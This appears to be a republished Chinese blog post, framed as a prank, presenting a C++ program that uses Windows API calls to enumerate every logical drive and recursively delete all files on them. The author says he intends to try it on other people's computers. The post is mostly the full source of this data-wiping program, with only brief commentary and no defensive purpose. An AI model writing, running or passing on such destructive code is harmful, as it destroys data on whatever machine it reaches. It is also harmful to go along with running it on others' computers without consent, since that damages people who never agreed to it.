用Windows API遍曆所有檔案並刪除

來源:互聯網
上載者:User

最近一直在學windows API,弄了一些好玩的東西(有點惡作劇了)...

下面是我現學現賣寫的一個刪除硬碟上所有檔案的小程式 ....

#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){  WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do {  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))  {   continue;  }  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)  {   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);   DelFile(cNewPath);//遞迴  }  //  MessageBox(NULL,data.cFileName,"Look",0);  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);  DeleteFile(cFullPath);   }while(FindNextFile(hFind,&data)); }int WINAPI WinMain(  HINSTANCE hInstance,      // handle to current instance  HINSTANCE hPrevInstance,  // handle to previous instance  LPSTR lpCmdLine,          // command line  int nCmdShow              // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) {  if(bit.test(ix))  {   Path[0]='A'+ix;   DelFile(Path);  } } return 0;}

最後用了GetLogicalDrives這個API函數來判斷本機有多少個分區,然後用sprintf格式化一下作為DelFile的參數.

等有機會拿到別人電腦上試試吧....

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.